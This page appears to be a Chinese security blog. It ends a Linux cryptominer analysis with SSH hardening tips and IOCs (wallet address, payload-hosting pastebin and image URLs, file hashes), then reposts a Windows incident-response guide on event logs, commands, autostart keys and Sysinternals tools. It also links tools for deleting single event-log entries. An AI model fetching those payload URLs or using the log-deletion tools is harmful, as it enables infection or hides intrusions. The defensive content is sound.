病毒程序是通过利用 SSH 弱密码进行植入,所以也得做好 SSH 方面的加固,建议如下:

  1. 服务器不使用默认的 22 端口

    22 端口是 SSH 服务的默认端口,这也是黑客扫描服务器 SSH 服务的默认端口。

    修改 SSH 端口的方法如下:编辑/etc/ssh/sshd_config,将其中的Port参数改成你想要的端口(通常 5 位数字最好),修改完成之后,重启sshd服务生效。

  2. 禁止使用密码登陆,使用公钥登陆

    本地机器可以使用ssh-keygen -t rsa生成公钥和私钥,然后将公钥追加到服务器上的~/.ssh/authorized_keys文件,注意此文件的权限是600。

    SSH 配置如下:

    RSAAuthentication yes                   # RSA认证
    PubkeyAuthentication yes                # 开启公钥验证
    AuthorizedKeysFile .ssh/authorized_keys # 验证文件路径
    PasswordAuthentication no               # 禁止密码认证
    PermitEmptyPasswords no                 # 禁止空密码

    最后重启sshd服务即可生效。

  3. 禁止 root 用户登录

    线上服务器,我们通常会以普通用户登陆,然后再su root切换到root用户,这样做的好处是,即使被攻击了,也能有相应的保障。

    具体的方法是修改/etc/ssh/sshd_config配置文件,将PermitRootLogin改为no

0x7 IOC

1 钱包地址

44qJYxdbuqSKarYnDSXB6KLbsH4yR65vpJe3ELLDii9i4ZgKpgQXZYR4AMJxBJbfbKZGWUxZU42QyZSsP4AyZZMbJBCrWr1

2 恶意URL

https://pastebin.com/raw/sByq0rym
https://pastebin.com/raw/tqJjUD9d
https://pastebin.com/raw/sByq0rym
https://pastebin.com/raw/TS4NeUnd
http://sowcar.com/t6/689/1553329669x2890191853.jpg
http://sowcar.com/t6/689/1553329719x2890149536.jpg

3 恶意文件

be974c9cf266bc37270af3dd457ec9ab  1553329669x2890191853.jpg
9a84bf99fade79421ffe5ec8b3998917  1553329719x2890149536.jpg
be974c9cf266bc37270af3dd457ec9ab  kerberods
71222c7976d23df90301af0bfa09508d  khugepageds
ed7ef73178123e49657e594f22bbc01a  libcryptod.c

0x8 参考

...

Tags Read More..


Windows 系统安全事件应急响应

by LauCyun Dec 13,2018 14:57:12 13,859 views

本文转载于: https://xz.aliyun.com/t/2524,感谢大表哥@白河愁

1 Windows 的应急事件分类

Windows 系统的应急事件,按照处理的方式,可分为下面几种类别:

  • 病毒、木马、蠕虫事件
  • Web 服务器入侵事件或第三方服务入侵事件
  • 系统入侵事件,如利用 Windows 的漏洞攻击入侵系统、利用弱口令入侵、利用其他服务的漏洞入侵,跟 Web 入侵有所区别,Web 入侵需要对 Web 日志进行分析,系统入侵只能查看 Windows 的事件日志。
  • 网络攻击事件(DDoS、ARP、DNS 劫持等)

2 通用排查思路

入侵肯定会留下痕迹,另外重点强调的是不要一上来就各种查查查,问清楚谁在什么时间发现的主机异常情况,异常的现象是什么,受害用户做了什么样的紧急处理。问清楚主机异常情况后,需要动脑考虑为什么会产生某种异常,从现象反推可能的入侵思路,再考虑会在 Windows 主机上可能留下的痕迹,最后才是排除各种可能,确定入侵的过程。

获取 Windows 的基本信息,如机器名称、操作系统版本、OS 安装时间、启动时间、域名、补丁安装情况,使用systeminfo命令获取。运行msinfo32也可以查看计算机的详细信息。

2.1 直接检查相关日志

任何操作(人、程序、进程)都会导致产生相关日志

2.1.1 Windows 日志简介

日志记录了系统中硬件、软件和系统问题的信息,同时还监视着系统中发生的事件。当服务器被入侵或者系统(应用)出现问题时,管理员可以根据日志迅速定位问题的关键,再快速处理问题,从而极大地提高工作效率和服务器的安全性。
Widdows 通过自带事件查看器管理日志,使用命令eventvwr.msc打开,或者 Windows 10 搜索框直接搜索事件查看器,或者使用开始菜单-Windows 管理工具-事件查看器打开


图1 Windows日志

Windows 日志位置:

  • Windows 2000/Server2003/Windows XP
    \%SystemRoot%\System32\Config\*.evt
  • Windows Vista/7/10/Server2008
    \%SystemRoot%\System32\winevt\Logs\*.evtx

日志审核策略,使用命令auditpol /get /category:*


图2 日志审核策略

其他一些可能会用到的事件日志的位置:

  • C:\Windows\System32\WDI\LogFiles
    • BootCKCL.etl
    • ShutdownCKCL.etl
    • SecondaryLogOnCKCL.etl
    • WdiContext.etl.*
  • C:\Windows\System32\WDI\{guid}\{guid}
    • snapshot.etl
  • C:\Windows\System32\LogFiles\WMI
    • FamilySafetyAOT.etl
    • Wifi.etl
    • LwNetLog.etl
  • C:\Windows\System32\SleepStudy
    • UserNotPresentSession.etl
    • abnormal-shutdown-<yyyy>-<mm>-<hh>-<mm>-<ss>.etl</ss></mm></hh></mm></yyyy>
    • user-not-present-trace-<yyyy>-<mm>--<hh>-<mm>-<ss>.etl</ss></mm></hh></mm></yyyy>
    • ScreenOnPowerStudyTraceSession-<yyyy>-<mm>-<hh>-<mm>-<ss>.etl</ss></mm></hh></mm></yyyy>
Windows 日志
  • 系统日志
    系统日志包含 Windows 系统组件记录的事件。例如,系统日志中会记录在启动过程中加载驱动程序或其他系统组件失败。系统组件所记录的事件类型由 Windows 预先确定。
  • 应用程序日志
    应用程序日志包含由应用程序或程序记录的事件。例如,数据库程序可在应用程序日志中记录文件错误。程序开发人员决定记录哪些事件。
  • 安全日志
    安全日志包含诸如有效和无效的登录尝试等事件,以及与资源使用相关的事件,如创建、打开或删除文件或其他对象。管理员可以指定在安全日志中记录什么事件。例如,如果已启用登录审核,则安全日志将记录对系统的登录尝试。

关于安全日志登录部分的事件 ID 和登录类型代码的含义见下面 2 个表。


图3 事件属性

常用事件ID

常用事件ID含义,如下表:

Event ID(2000/XP/2003) Event ID(Vista/7/8/2008/2012) 描述 日志名称
528 4624 成功登录 Security
529 4625 失败登录 Security
680 4776 成功/失败的账户认证 Security
624 4720 创建用户 Security
636 4732 添加用户到启用安全性的本地组中 Security
632 4728 添加用户到启用安全性的全局组中 Security
2934 7030 服务创建错误 System
2944 7040 IPSEC服务服务的启动类型已从禁用更改为自动启动 System
2949 7045 服务创建 System
登录类型ID

成功/失败登录事件提供的有用信息之一是用户/进程尝试登录(登录类型),但 Windows 将此信息显示为数字,下面是数字和对应的说明:

登录类型 登录类型 描述
2 Interactive 用户登录到本机
3 Network 用户或计算手机从网络登录到本机,如果网络共享,或使用net use访问网络共享,net view查看网络共享
4 Batch 批处理登录类型,无需用户干预
5 Service 服务控制管理器登录
7 Unlock 用户解锁主机
8 NetworkCleartext 用户从网络登录到此计算机,用户密码用非哈希的形式传递
9 NewCredentials 进程或线程克隆了其当前令牌,但为出站连接指定了新凭据
10 Remotelnteractive 使用终端服务或远程桌面连接登录
11 Cachedlnteractive 用户使用本地存储在计算机上的凭据登录到计算机(域控制器可能无法验证凭据),如主机不能连接域控,以前使用域账户登录过这台主机,再登录就会产生这样日志
12 CachedRemotelnteractive 与 Remotelnteractive 相同,内部用于审计目的
13 CachedUnlock 登录尝试解锁

账户类型

  • 用户账户
  • 计算机账户:此帐户类型表示每个主机。 此帐户类型的名称以字符$结尾。 例如,DESKTOP-SHCTJ7L $是计算机帐户的名称。
  • 服务账户:每个服务帐户都创建为特定服务的所有者。 例如,IUSR是IIS的所有者,而krbtgt是作为密钥分发中心一部分的服务的所有者。
应用程序和服务日志

应用程序和服务日志是一种新类别的事件日志。这些日志存储来自单个应用程序或组件的事件,而非可能影响整个系统的事件。

查看 PowerShell 的日志:Microsoft->Windows->PowerShell->OPtions

2.1.2 远程登录事件

攻击者可能造成的远程登录事件

RDP

攻击者使用 RDP 远程登录受害者计算机,源主机和目的主机都会生成相应事件。

重要的事件 ID(安全日志,Security.evtx

  • 4624:账户成功登录
  • 4648:使用明文凭证尝试登录
  • 4778:重新连接到一台 Windows 主机的会话
  • 4779:断开到一台 Windows 主机的会话

远程连接日志(应用程序和服务日志->Microsoft->Windows->-TerminalServices->RemoteConnectionManager->Operational),重要事件 ID 和含义:

  • 1149:用户认证成功
  • 21:远程桌面服务,会话登录成功
  • 24:远程桌面服务,会话已断开连接
  • 25:远程桌面服务,会话重新连接成功

远程连接日志关注RemoteInteractive(10)CachedRemoteInteractive(12)表明使用了 RDP ,因为这些登录类型专用于 RDP 使用。

计划任务和 AT

关注的事件 ID

  • 4624:账户成功登录

计划任务事件Microsoft-Windows-TaskScheduler/Operational.evtx,计划任务 ID 含义:

  • 100:任务已开始
  • 102:任务完成
  • 106:已注册任务(关注点)
  • 107:在调度程序上触发任务
  • 110:用户触发的任务
  • 129:创建任务流程(推出)
  • 140:任务已更新
  • 141:任务已删除
  • 200:运行计划任务
  • 325:启动请求排队

统一后台进程管理器(UBPM)

  • 服务控制管理器 - 管理 Windows 服务
  • 任务计划程序 - 管理 Windows 任务
  • Windows Management Instrumentation - 管理 WMI 供应商
  • DCOM Server Process Launcher - 管理进程外 COM 应用程序
PSExec

PSExec是系统管理员的远程命令执行工具,包含在“Sysinternals Suite”工具中,但它通常也用于针对性攻击的横向移动。

PsExec的典型行为

  • 在具有网络登录(类型3)的远程计算机上将 PsExec 服务执行文件(默认值:PSEXESVC.exe)复制到%SystemRoot%
  • 如果使用-c选项,则通过$Admin共享将文件复制到%SystemRoot%执行命令。
  • 注册服务(默认值:PSEXESVC),并启动服务以在远程计算机上执行该命令。
  • 停止服务(默认值:PSEXESVC),并在执行后删除远程计算机上的服务。

PSExec选项的重要选项:

  • -r:更改复制的文件名和远程计算机的服务名称,默认值:%SystemRoot%\ PSEXESVC.exePSEXESVC
  • -s:由SYSTEM帐户执行。
  • -C:将程序复制到远程计算机,被复制到Admin$%SystemRoot%)。
  • -u:使用特定凭据登录到远程计算机,生成登录类型2和登录类型3 的事件。

可以从System.evtx中查找事件 ID 7045 发现 PSExec,相关的事件 ID

  • Security.evtx
    • 4624:帐户已成功登录
  • Ssystem.evtx
    • 7045:系统中安装了服务

PsExec在执行命令时在远程主机上创建服务,默认服务名称为PSEXESVC,配合检测系统 7045 事件可以确定。

如果使用-r参数更改了默认的服务名称,通过以下特征可以检测 PSExec 的执行:

  • PSExec服务执行文件(默认值:PSEXESVC.exe)被复制到远程计算机上的%SystemRoot%目录中
  • 服务名称与没有.exe扩展名的执行名称相同
  • 服务以“用户模式”执行,而不是“内核模式”
  • “LocalSystem”帐户用于服务帐户
  • 实际帐户用于执行服务执行文件,而不是“SYSTEM”

2.1.3 GUI 的日志工具介绍

Widnows 自带事件管理器就是很不错的日志工具,其他可以了解下Event Log Explorer


图4 Event Log Explorer

可以将目标 IP 的所有日志文件复制出来,然后在其他电脑上使用 Event Log Explorer 进行分析。

其他一些工具:

2.1.4 PowerShell 日志操作

使用 Get-WinEvent

Get-WinEvent @{logname='application','system'} -MaxEvents 1

一些常见日志操作命令:

# Get-WinEvent帮助命令
get-help Get-WinEvent

# 列出所有事件日志
Get-WinEvent -ListLog *

# powershell管理员权限下获取安全事件日志
Get-WinEvent -FilterHashtable @{LogName='Security'}

# 过滤安全事件ID 4624
Get-WinEvent -FilterHashtable @{LogName='Security';ID='4624'}

# 查询今天的应用和系统日志,显示前2条
Get-WinEvent @{logname='application','system';starttime=[datetime]::today } -MaxEvents 2

# 根据ID查询事件
Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational | Where-Object {$_.ID -eq "4100" -or $_.ID -eq "4104"}

# 查询指定时间内的事件
$StartTime=Get-Date  -Year  2017  -Month  1  -Day  1  -Hour  15  -Minute  30
$EndTime=Get-Date  -Year  2017  -Month  2  -Day  15  -Hour  20  -Minute  00

Get-WinEvent -FilterHashtable @{LogName='System';StartTime=$StartTime;EndTime=$EndTime}


图5 powershell管理员权限下获取安全事件日志

Get-EventLog 的使用可以参考:https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-eventlog?view=powershell-5.1

2.1.5 Windows 日志删除和日志集中化

攻击者入侵系统后,很可能会删除日志,比较粗暴的手法是直接删除所有日志和停止日志服务,对于应急来说删除掉的日志本身就是就是入侵的明显特征,根据文件创建时间也能大概判断入侵时间。另外有工具可以删除单条日志,这样只是分析 Windows 日志时对分析人员来说很难找到攻击痕迹,单条日志删除工具:https://github.com/360-A-Team/EventCleaner,另外可以参考:https://github.com/3gstudent/Eventlogedit-evtx--Evolution

对抗删除的的措施是实施日志集中化,从 Windows 7 开始,Windows 记录日志为 XML 格式,可以使用。

2.2 检查账户

检查账户的几种方式:

  • 在本地用户和组里查看,运行lusrmgr.msc
  • 使用net user列出当前登录账号,使用wmic UserAccount get列出当前系统所有账户;
  • 检查注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileListHKEY_LOCAL_MACHINE\SAM\Domains\Account\(默认是 SYSTEM)权限,需要配置成管理员权限查看。

SID 位于HKEY_USERS\和 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList两个密钥中。 用户SID可以在值Profilelist下找到Subkeys(在用户登录系统时创建)。 值ProfileImagePath将列出该特定用户的配置文件的路径。 在操作系统级别,SID可识别无疑问题的帐户。

多用户系统如下:

HKEY_USERS\.DEFAULT
HKEY_USERS\S-1-5-18
HKEY_USERS\S-1-5-19
HKEY_USERS\S-1-5-20
HKEY_USERS\S-1-5-21-129369147-1800279115-1660624850-1000
HKEY_USERS\S-1-5-21-129369147-1800279115-1660624850-1000_Classes
HKEY_USERS\S-1-5-21-129369147-1800279115-1660624850-500
HKEY_USERS\S-1-5-21-129369147-1800279115-1660624850-500_Classesaa

前四个密钥是系统帐户,从计算机到计算机通常是相同的。 

  • HKEY_USERS\.DEFAULT包含全局用户信息
  • HKEY_USERS\S-1-5-18属于“LocalSystem帐户”
  • HKEY_USERS\S-1-5-19用于运行本地服务,是“本地服务帐户”
  • HKEY_USERS\S-1-5-20 是用于运行网络服务的“NetworkService帐户”

其他子键是唯一的SID,它们与已登录系统的各个用户相关联。 他们的解释如下:

  • S将字符串标识为SID。
  • 1是SID规范的版本。
  • 5是标识符权限值。
  • 21-129369147-1800279115-1660624850是域或本地计算机标识符,因计算机与计算机不同,因为它对应于唯一的个人用户帐户。
  • 1000是相对ID(RID)。 默认情况下未创建的任何组或用户的RID均为1000或更高。
  • 1000_Classes包含每用户文件关联和类注册。
  • 500是同一系统上另一个用户的相对ID(RID)。
  • 500_Classes包含第二个用户的文件关联和类注册。

2.3 检查网络连接

2.3.1 检查网络监听和连接的端口和应用程序

netstat -anob

输出主机上的所有侦听和活动连接,包括 PID 和连接到每个连接的程序的名称。 这也告诉 Netstat返回连接的 IP 地址,而不是试图确定它们的主机名。

  • -a:显示所有连接和侦听端口。
  • -b:显示在创建每个连接或侦听端口时涉及的可执行程序。在某些情况下,已知可执行程序承载多个独立的组件,这些情况下,显示创建连接或侦听端口时涉及的组件序列。在此情况下,可执行程序的名称位于底部 [] 中,它调用的组件位于顶部,直至达到 TCP/IP。注意,此选项可能很耗时,并且在你没有足够权限时可能失败。
  • -n:以数字形式显示地址和端口号。
  • -o:显示拥有的与每个连接关联的进程 ID。
  • -r:显示路由表。

结合findstr命令查找特定的端口或程序。


图6 查找443端口的结果

发现的感觉异常的 IP 地址可以在威胁情报平台上查询,如果是已知的恶意 IP,可以比较快速的确认攻击方式。

2.3.2 防火墙配置

netsh firewall show all

Windows 10 自带的网络连接可以参考:https://betanews.com/2018/07/31/all-the-websites-windows-10-connects-to-clean-install/

2.4 检查进程

进程通常结合网络查看异常,先检查异常的网络连接,再获取由哪个进程生成的网络连接:

netstat -abno | find "port number"

tasklist | findstr PID

使用 wmic 命令获取进程信息

wmic process | find "Proccess Id" > proc.csv

Get-WmiObject -Class Win32_Process

Get-WmiObject -Query  "select * from win32_service where name='WinRM'" -ComputerName Server01, Server02 | Format-List -Property PSComputerName, Name, ExitCode, Name, ProcessID, StartMode, State, Status

PowerShell 的其他关于进程和网络的命令

Get-Process

Get-NetTCPConnection
Get-NetTCPConnection -State Established

# 进程跟服务的对应关系
tasklist /svc

使用 SysinternalsSuite 的 procexp 可以获取进程比较详细的信息,比如真实路径、加载的 DLL 文件等、CPU 和内存使用情况等。


图7 Process Explorer

当然也可以使用内存管理器。

查看可疑的进程及其子进程。可以通过观察以下内容:

  • 没有签名验证信息的进程
  • 没有描述信息的进程
  • 进程的属主
  • 进程的路径是否合法
  • CPU或内存资源占用长时间过高的进程

可以获取进程关联的文件 MD5 值,然后发送到威胁情报平台上辅助检查。进程关联的文件也可以使用在线病毒检测平台上直接检测。

2.4.1 内存 Dump

有 2 种比较方便的方法:

第一种是使用系统自带功能,在计算机属性,系统属性,高级选项卡中选择“启动和故障恢复设置”,选择完全转储内存,然后点击确定,系统会提示重启。


图8 内存dump

重启后在配置的文件位置可以找到上次转储的内存文件。

另外一种方法,使用 SysinternalsSuite 工具集的 notmyfault64 工具,在使用管理员权限的命令行模式下(cmd、PowerShell)运行:

NotMyFault64.exe /crash

2.4.2 内存分析

利用 Volatility 进行内存取证,分析入侵攻击痕迹,包括网络连接、进程、服务、驱动模块、DLL、handles、检测进程注入、检测Meterpreter、cmd历史命令、IE浏览器历史记录、启动项、用户、shimcache、userassist、部分rootkit隐藏文件、cmdliner等。

参考:https://xz.aliyun.com/t/2497

2.5 检查开机启动和运行服务

2.5.1 开机启动

关于开机启动需要分析的位置:

  • 注册表中的关于开机启动的位置
    • HKLM\Software\Microsoft\Windows\CurrentVersion\Runonce
    • HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
    • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    • HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run
    • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
    • (ProfilePath)\Start Menu\Programs\Startup
  • 开始菜单,启动项里(C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
  • 任务管理器,启动选项卡,或者运行 msconfig,查看启动选项卡
  • 运行gpedit.msc在本地组策略编辑器里查看开机运行脚本,包括计算机配置和用户配置的。
  • 使用 SysinternalsSuite 工具集的 Autoruns 工具查看开机启动项目

2.5.2 查看服务状态

服务状态,自动启动配置,在 PowerShell 下可以运行:

Get-Service

# 运行service命令
service

运行services.msc可以打开 Windows 服务工具,常见的 GUI 界面。


图11 Windows 服务

2.6 检查计划任务

存放计划任务的文件

  • C:\Windows\System32\Tasks\
  • C:\Windows\SysWOW64\Tasks\
  • C:\Windows\tasks\
  • *.job(指文件)

使用命令查看计划任务

schtasks

运行taskschd.msc打开计划任务面板,或者从计算机管理进入,直接查看计划任务。


图12 计划任务

也可以使用 SysinternalsSuite 工具集的 Autoruns 工具查看计划任务。


图13 Autoruns查看计划任务

2.7 检查文件

检查可疑文件的思路,一种是通过可疑进程(CPU 利用率、进程名)关联的文件,一种是按照时间现象关联的文件,文件大小也可以 作为辅助的判断方法,文件的操作可以使用Get-ChildItem命令查看。需要关注的文件位置:

  • 下载目录
  • 回收站文件
  • 程序临时文件
  • 历史文件记录
  • 应用程序打开历史
  • 搜索历史
  • 快捷方式(LNK)
  • 驱动
    driverquery
  • 进程 DLL 的关联查询
    tasklist -M
  • 共享文件
  • 最近的文件
    %UserProfile%\Recent
  • 文件更新
  • 已安装文件
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
  • 异常现象之前创建的文件

2.8 检查注册表

注册表目录含义:

  1. HKEY_CLASSES_ROOT(HKCR):此处存储的信息可确保在Windows资源管理器中执行时打开正确的程序。它还包含有关拖放规则,快捷方式和用户界面信息的更多详细信息。
  2. HKEY_CURRENT_USER(HKCU):包含当前登录系统的用户的配置信息,包括用户的文件夹,屏幕颜色和控制面板设置。HKEY_USERS中特定于用户的分支的别名。通用信息通常适用于所有用户,并且是HKU.DEFAULT。
  3. HKEY_LOCAL_MACHINE(H​​KLM):包含运行操作系统的计算机硬件特定信息。它包括系统上安装的驱动器列表以及已安装硬件和应用程序的通用配置。
  4. HKEY_USERS(HKU):包含系统上所有用户配置文件的配置信息,包括应用程序配置和可视设置。
  5. HKEY_CURRENT_CONFIG(HCU):存储有关系统当前配置的信息。

一些重要的注册表键

hklm:\Software\Microsoft\Windows\CurrentVersion\policies\system
hklm:\Software\Microsoft\Active Setup\Installed Components
hklm:\Software\Microsoft\Windows\CurrentVersion\App Paths
hklm:\software\microsoft\windows nt\CurrentVersion\winlogon
hklm:\software\microsoft\security center\svc
hkcu:\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths
hkcu:\Software\Microsoft\Windows\CurrentVersion\explorer\RunMru
hklm:\Software\Microsoft\Windows\CurrentVersion\explorer\Startmenu
hklm:\System\CurrentControlSet\Control\Session Manager
hklm:\Software\Microsoft\Windows\CurrentVersion\explorer\ShellFolders
hklm:\Software\Microsoft\Windows\CurrentVersion\ShellExtensions\Approved
hklm:\System\CurrentControlSet\Control\Session Manager\AppCertDlls
hklm:\Software\Classes\exefile\shell\open\command
hklm:\BCD00000000
hklm:\system\currentcontrolset\control\lsa
hklm:\Software \Microsoft\Windows\CurrentVersion\Explorer\BrowserHelper Objects
hklm:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
hkcu:\Software\Microsoft\Internet Explorer\Extensions
hklm:\Software\Microsoft\Internet Explorer\Extensions
hklm:\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions

活用注册表编辑器的搜索功能,根据进程名称、服务名称、文件名称搜索注册表。

3 特定事件痕迹检查

3.1 挖矿病毒应急

3.1.1 传播方式

通常可能的传播方式:

  1. 通过社工、钓鱼方式下载和运行了挖矿程序(邮件、IM 等)
  2. 利用计算机系统远程代码执行漏洞下载、上传和执行挖矿程序
  3. 利用计算机 Web 或第三方软件漏洞获取计算机权限,然后下载和执行挖矿程序
  4. 利用弱口令进入系统,下载和执行挖矿程序
  5. 执行 Web 页面的挖矿 JS 脚本

3.1.2 挖矿程序特点

  • CPU、GPU、内存利用率高;
  • 网络会连接一些矿工 IP,可以通过威胁情报获取。

3.1.3 挖矿程序应急目的

  • 找出入侵原因
  • 找到挖矿程序,并删除

挖矿事件应急可能需要对样本进行分析,需要二进制的一些分析能力,通过提取样本后确认样本分类、行为、危害。

3.2 勒索病毒事件应急

3.2.1 传播方式

通常可能的传播方式:

  1. 通过社工、钓鱼方式下载和运行了勒索程序(邮件、IM 等)
  2. 利用计算机系统远程代码执行漏洞下载、上传和执行勒索病毒
  3. 利用计算机 Web 或第三方软件漏洞获取计算机权限,然后下载和执行勒索病毒
  4. 利用弱口令进入计算机系统,下载和执行勒索病毒

3.2.2 勒索病毒特点

  • 各种数据文件和可执行程序生成奇怪的后缀名;
  • 明显的提示,要交赎金

3.3.3 勒索病毒应急目的

  • 如果是重要数据,交付赎金恢复数据;
  • 找到入侵的原因,排查同类漏洞,并进行加固(一般是重装)

确认勒索病毒后要立即拔掉网线,限制传播范围。

3.3 应急示例

4 Sysinternals Utilities

工具中有些是命令行工具,有些是有 GUI 界面,作用:

  • 使用Process Explorer显示详细的流程和系统信息
  • 使用Process Monitor捕获低级系统事件,并快速过滤输出以缩小根本原因
  • 列出,分类和管理在您启动或登录计算机时运行的软件,或运行Microsoft Office或Internet Explorer时运行的软件
  • 验证文件,正在运行的程序以及这些程序中加载的模块的数字签名
  • 使用可以识别和清除恶意软件感染的Autoruns,Process Explorer,Sigcheck和Process Monitor功能
  • 检查文件,密钥,服务,共享和其他对象的权限
  • 使用 Sysmon 监控整个网络中与安全相关的事件
  • 当进程满足指定条件时生成内存转储
  • 远程执行进程,并关闭远程打开的文件
  • 管理Active Directory对象并跟踪LDAP API调用
  • 捕获有关处理器,内存和时钟的详细数据
  • 对无法启动的设备,文件使用中的错误,无法解释的通信以及许多其他问题进行故障排除
  • 了解其他地方没有详细记录的Windows核心概念

下载:https://docs.microsoft.com/en-us/sysinternals/downloads/

4.1 常用工具介绍

4.1.1 Autoruns

可以方便的查看自启动、计划任务和运行服务等,通过关联右键菜单可以获取更详细的内容。


图14 Autoruns

4.1.2 Process Explorer

Process Explorer进程浏览器,用来查看计算机上运行的进程的状态(CPU、内存、句柄、加载dll、线程及堆栈等)。


图15 Process Explorer

4.1.3 ADExplorer

Active Directory Explorer(AD Explorer)是一种高级 Active Directory(AD)查看器和编辑器。 您可以使用 AD Explorer 轻松导航 AD 数据库,定义收藏位置,查看对象属性和属性,而无需打开对话框,编辑权限,查看对象的架构,以及执行可以保存和重新执行的复杂搜索。

AD Explorer 还包括保存 AD 数据库快照以进行脱机查看和比较的功能。 加载已保存的快照时,您可以像实时数据库一样导航和浏览它。 如果您有两个 AD 数据库快照,则可以使用 AD Explorer 的比较功能查看它们之间更改的对象,属性和安全权限。

4.1.4 TCPView

查看网络连接情况。


图16 TCPView

4.1.5 PSExec

像 Telnet 这样的实用程序和 Symantec 的 PC Anywhere 等远程控制程序允许您在远程系统上执行程序,但是设置起来很麻烦,并且要求您在要访问的远程系统上安装客户端软件。 PsExec 是一种轻量级的 telnet 替代品,可让您在其他系统上执行进程,完成控制台应用程序的完全交互,而无需手动安装客户端软件。 PsExec 最强大的用途包括在远程系统上启动交互式命令提示和 IpConfig 等远程启用工具,否则它们无法显示有关远程系统的信息。

使用可以参考:https://www.itprotoday.com/management-mobility/psexec

4.1.6 LogonSessions

列出了当前活动的登录会话,如果指定-p选项,则列出每个会话中运行的进程。


图17 LogonSessions

4.2 Troubleshooting with the Windows Sysinternals Tools 2nd Edition

这是一本书,介绍 Sysinternals 工具集的使用。

5 其他

  • 关注近期的安全事件趋势,定期查看 CNCERT 的安全报告,其他一些杀毒软件公司的论坛也要关注;
  • 结合近期的应急,对每次应急出现的新状况进行总结分析,一段时间内的应急需求基本是一致的;
  • 关注几个威胁情报中心,可以分析域名、IP、文件 MD5,比较方便判断攻击方式;
  • 准备好杀毒盘和 Live 盘,可以利用 U 盘做一个专用的应急响应工具包
  • Webshell 查杀
  • 勒索软件基本没有办法,重要数据只能交赎金,不过也是有些特定的勒索病毒能恢复文件
  • 如果未作 Windows 的日志集中化 ,如果入侵删掉所有日志, 大部分情况下只能呵呵,查一下可能的入侵链路上的其他设备、同网段设备有什么日志;
  • 弱口令是很常见的入侵事件原因;
  • 眼见为实,证据说话,不要被客户诱导;
  • Windows 的攻击方式可以了解一下ATT&CK 矩阵

6 参考

...

Tags Read More..